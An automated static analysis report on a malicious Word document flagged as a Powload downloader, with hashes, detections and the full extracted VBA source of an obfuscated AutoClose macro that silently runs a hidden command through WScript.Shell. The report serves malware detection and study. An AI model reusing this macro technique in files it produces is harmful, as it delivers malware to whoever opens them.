Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 baf4586c1fcdc32f…

MALICIOUS

Office (OOXML)

53.1 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-09-30
MD5: 00cf83ee91654990c031ce1b1de05435 SHA-1: 696ae9e32c7cc085d62336d910abe45111280f66 SHA-256: baf4586c1fcdc32fa2ac1441df17591aa34f54d842ad596abd2cadfc190f02e9
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. The AutoClose macro is present and calls a function that appears to deobfuscate and execute a payload using WScript.Shell. This indicates the document is designed to download and run a second-stage malicious file, consistent with a downloader malware.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
         If undercapitalization - normalizes > 1 Then
       CreateObject("WScript.Shell").Run manpower, 0
       kanagi = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If undercapitalization - normalizes > 1 Then
       CreateObject("WScript.Shell").Run manpower, 0
       kanagi = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  exuviation = Array("B", "3", "R", "V", "S", "P", "1", "H", "1", "K", "R", "V", "V", "f", "T", "", "", "V", "D", "R", "S", "d", "v", "3", "d", "S", "5", "D", "B", "S", "3", "d", "w", "v", "s", "6", "1", "P", "A", "5", "B", "", "U", "l", "2", "", "V", "1", "D", "H", "P", "f", "R", "f", "q", "a", "V", "B", "S", "r", "V", "D", "a", "B", "m")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2046 bytes
SHA-256: abdca1e9b6a7e3f512e113f196c49cd21c15566fde6d30c7b7e51955646a8906
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function argentic(exuviation)
  gagging = Array("R", "5", "m", "a", "T", "U", "D", "w", "s", "2", "B", "", "q", "3", "A", "P", "H", "6", "l", "K", "1", "f", "d", "S", "r", "v", "V")
  dioscorein = Array("h", "o", "g", "u", ":", "I", "r", "d", "q", "O", "m", "/", "?", "s", "c", ".", "x", "w", "S", " ", "e", "p", "n", "a", "=", "i", "t")
  
  oscinine = vbNullString
  
  For Each scriptitious In exuviation
    slimmer = portless(scriptitious, gagging, UBound(gagging))
    If slimmer > -1 Then
    oscinine = dioscorein(slimmer) & oscinine
    End If
  Next
  
  argentic = StrReverse(oscinine)
  
End Function

Public Function portless(remorselessness, ascaridole, saintliest)
  surmise = 3
  guemal = 1992
  For surmise = 0 To saintliest
    If ascaridole(surmise) = remorselessness Then
     guemal = surmise
    End If
  Next

  If guemal = 1992 Then
    guemal = -1
  End If
  
  portless = guemal
End Function

Sub AutoClose()
  exuviation = Array("B", "3", "R", "V", "S", "P", "1", "H", "1", "K", "R", "V", "V", "f", "T", "", "", "V", "D", "R", "S", "d", "v", "3", "d", "S", "5", "D", "B", "S", "3", "d", "w", "v", "s", "6", "1", "P", "A", "5", "B", "", "U", "l", "2", "", "V", "1", "D", "H", "P", "f", "R", "f", "q", "a", "V", "B", "S", "r", "V", "D", "a", "B", "m")
  mascally = argentic(exuviation)
  
  Application.Run "mispenning", mascally
  
End Sub


Private Sub mispenning(manpower)
   
   normalizes = DateDiff("s", #1/1/1970#, Now())
   kanagi = True
   
   While kanagi
     undercapitalization = normalizes + 60
     If undercapitalization - normalizes > 1 Then
       CreateObject("WScript.Shell").Run manpower, 0
       kanagi = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 8c3eda6b664c1a50aad64b29d6e5334c6869d8c3cc87872c4616bed725f9a747
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: unlikely

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